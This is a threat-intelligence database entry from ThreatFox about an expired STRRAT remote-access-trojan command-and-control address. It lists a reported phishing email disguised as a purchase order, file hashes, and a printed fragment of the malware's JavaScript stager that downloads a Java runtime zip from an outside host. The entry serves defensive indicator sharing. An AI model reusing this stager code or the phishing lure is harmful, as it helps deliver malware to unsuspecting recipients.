ThreatFox IOC Database
You are viewing the ThreatFox database entry for ip:port 141.101.134.47:7896.
Database Entry
This IOC expired
This IOC is an old IOC and hence has expired on 2026-08-10 01:15:01 UTC. We therefore refrain from exporting it into our datasets. As a result, this database entry is purely informational and has no impact.
| IOC ID: | 235473 |
|---|---|
| IOC: | 141.101.134.47:7896 |
| IOC Type : | ip:port |
| Threat Type : | botnet_cc |
| Malware: | STRRAT |
| Confidence Level : | Confidence level is high (100%) |
| Is compromised? : | False |
| First seen: | 2021-10-19 14:46:12 UTC |
| Last seen: | never |
| UUID: | 4dcfb715-30eb-11ec-a35f-42010aa4000a |
| Reporter |  AndreGironda |
| Reward | 5 credits from ThreatFox |
| Tags: | STRRAT |
| Reference: | https://tria.ge/211019-reeh8sfhg7 |
AndreGironda
MITRE T1566.001Date: 19 Oct 2021 14:00-14:30 +0000
Received: from ec2-3-135-218-250.us-east-2.compute.amazonaws.com ([3.135.218.250]:52070 helo=albahralarabi.com)
Reply-To: info@theubeg.com
From: Al Bahr Al <info@albahralarabi.com>
Subject: PO 04399021
Message-ID: <20211019141110.55820DDD4EA13A91@albahralarabi.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_6E5AC49E.F7CABE81"
X-Get-Message-Sender-Via: server.nestdepot.com: authenticated_id: smtpfox-ud8l5@nestdepot.com
X-Authenticated-Sender: server.nestdepot.com: smtpfox-ud8l5@nestdepot.com
Return-Path: info@albahralarabi.com
Attachment Name: Purchase_Order_04399021.jar
STRRAT Java Archive (JAR) SHA256: 0b3b601700ac787b1b5ffddd2e79b3077d9dc9093fdffe261ab9371bc815bb84
Unpacked Javascript Name: ncxnfgoduf.js
Javascript SHA256: 4fda2d4033279ae81d06468cd22504a4e7565c2cba7cf525903bdea0d2911b40
function GrabJreFromNet(){
do{
try{
var xHttp = WScript.CreateObject("msxml2.serverxmlhttp.6.0");
var bStrm = WScript.CreateObject("Adodb.Stream");
xHttp.open("GET", "http://wshsoft.company/jre7.zip", false);
xHttp.setOption(2, 13056);
xHttp.send();
bStrm.Type = 1;
bStrm.open();
bStrm.write(xHttp.responseBody);
bStrm.savetofile(appdatadir + "\\jre.zip", 2);
break;
}catch(err){
WScript.Sleep(5000);
}
Stage URL: hXXp://wshsoft[.]company/jre7.zip